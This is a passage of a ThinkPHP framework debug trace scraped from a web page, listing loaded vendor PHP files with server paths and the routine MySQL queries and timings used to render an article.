  117. /yingpanguazai/ssd/ssd1/www/f.mffb.com.cn/vendor/topthink/think-orm/src/db/concern/ModelRelationQuery.php ( 20.07 KB )
  118. /yingpanguazai/ssd/ssd1/www/f.mffb.com.cn/vendor/topthink/think-orm/src/db/concern/ParamsBind.php ( 3.66 KB )
  119. /yingpanguazai/ssd/ssd1/www/f.mffb.com.cn/vendor/topthink/think-orm/src/db/concern/ResultOperation.php ( 7.01 KB )
  120. /yingpanguazai/ssd/ssd1/www/f.mffb.com.cn/vendor/topthink/think-orm/src/db/concern/WhereQuery.php ( 19.37 KB )
  121. /yingpanguazai/ssd/ssd1/www/f.mffb.com.cn/vendor/topthink/think-orm/src/db/concern/JoinAndViewQuery.php ( 7.11 KB )
  122. /yingpanguazai/ssd/ssd1/www/f.mffb.com.cn/vendor/topthink/think-orm/src/db/concern/TableFieldInfo.php ( 2.63 KB )
  123. /yingpanguazai/ssd/ssd1/www/f.mffb.com.cn/vendor/topthink/think-orm/src/db/concern/Transaction.php ( 2.77 KB )
  124. /yingpanguazai/ssd/ssd1/www/f.mffb.com.cn/vendor/topthink/framework/src/think/log/driver/File.php ( 5.96 KB )
  125. /yingpanguazai/ssd/ssd1/www/f.mffb.com.cn/vendor/topthink/framework/src/think/contract/LogHandlerInterface.php ( 0.86 KB )
  126. /yingpanguazai/ssd/ssd1/www/f.mffb.com.cn/vendor/topthink/framework/src/think/log/Channel.php ( 3.89 KB )
  127. /yingpanguazai/ssd/ssd1/www/f.mffb.com.cn/vendor/topthink/framework/src/think/event/LogRecord.php ( 1.02 KB )
  128. /yingpanguazai/ssd/ssd1/www/f.mffb.com.cn/vendor/topthink/think-helper/src/Collection.php ( 16.47 KB )
  129. /yingpanguazai/ssd/ssd1/www/f.mffb.com.cn/vendor/topthink/framework/src/think/facade/View.php ( 1.70 KB )
  130. /yingpanguazai/ssd/ssd1/www/f.mffb.com.cn/vendor/topthink/framework/src/think/View.php ( 4.39 KB )
  131. /yingpanguazai/ssd/ssd1/www/f.mffb.com.cn/vendor/topthink/framework/src/think/Response.php ( 8.81 KB )
  132. /yingpanguazai/ssd/ssd1/www/f.mffb.com.cn/vendor/topthink/framework/src/think/response/View.php ( 3.29 KB )
  133. /yingpanguazai/ssd/ssd1/www/f.mffb.com.cn/vendor/topthink/framework/src/think/Cookie.php ( 6.06 KB )
  134. /yingpanguazai/ssd/ssd1/www/f.mffb.com.cn/vendor/topthink/think-view/src/Think.php ( 8.38 KB )
  135. /yingpanguazai/ssd/ssd1/www/f.mffb.com.cn/vendor/topthink/framework/src/think/contract/TemplateHandlerInterface.php ( 1.60 KB )
  136. /yingpanguazai/ssd/ssd1/www/f.mffb.com.cn/vendor/topthink/think-template/src/Template.php ( 46.61 KB )
  137. /yingpanguazai/ssd/ssd1/www/f.mffb.com.cn/vendor/topthink/think-template/src/template/driver/File.php ( 2.41 KB )
  138. /yingpanguazai/ssd/ssd1/www/f.mffb.com.cn/vendor/topthink/think-template/src/template/contract/DriverInterface.php ( 0.86 KB )
  139. /yingpanguazai/ssd/ssd1/www/f.mffb.com.cn/runtime/temp/067d451b9a0c665040f3f1bdd3293d68.php ( 11.98 KB )
  140. /yingpanguazai/ssd/ssd1/www/f.mffb.com.cn/vendor/topthink/think-trace/src/Html.php ( 4.42 KB )
  1. CONNECT:[ UseTime:0.000559s ] mysql:host=127.0.0.1;port=3306;dbname=f_mffb;charset=utf8mb4
  2. SHOW FULL COLUMNS FROM `fenlei` [ RunTime:0.000590s ]
  3. SELECT * FROM `fenlei` WHERE `fid` = 0 [ RunTime:0.000248s ]
  4. SELECT * FROM `fenlei` WHERE `fid` = 63 [ RunTime:0.000258s ]
  5. SHOW FULL COLUMNS FROM `set` [ RunTime:0.000543s ]
  6. SELECT * FROM `set` [ RunTime:0.000217s ]
  7. SHOW FULL COLUMNS FROM `article` [ RunTime:0.000586s ]
  8. SELECT * FROM `article` WHERE `id` = 492139 LIMIT 1 [ RunTime:0.025493s ]
  9. UPDATE `article` SET `lasttime` = 1783086260 WHERE `id` = 492139 [ RunTime:0.015749s ]
  10. SELECT * FROM `fenlei` WHERE `id` = 67 LIMIT 1 [ RunTime:0.000378s ]
  11. SELECT * FROM `article` WHERE `id` < 492139 ORDER BY `id` DESC LIMIT 1 [ RunTime:0.000669s ]
  12. SELECT * FROM `article` WHERE `id` > 492139 ORDER BY `id` ASC LIMIT 1 [ RunTime:0.001072s ]
  13. SELECT * FROM `article` WHERE `id` < 492139 ORDER BY `id` DESC LIMIT 10 [ RunTime:0.009752s ]
  14. SELECT * FROM `article` WHERE `id` < 492139 ORDER BY `id` DESC LIMIT 10,10 [ RunTime:0.007153s ]
  15. SELECT * FROM `article` WHERE `id` < 492139 ORDER BY `id` DESC LIMIT 20,10 [ RunTime:0.004689s ]
0.143019s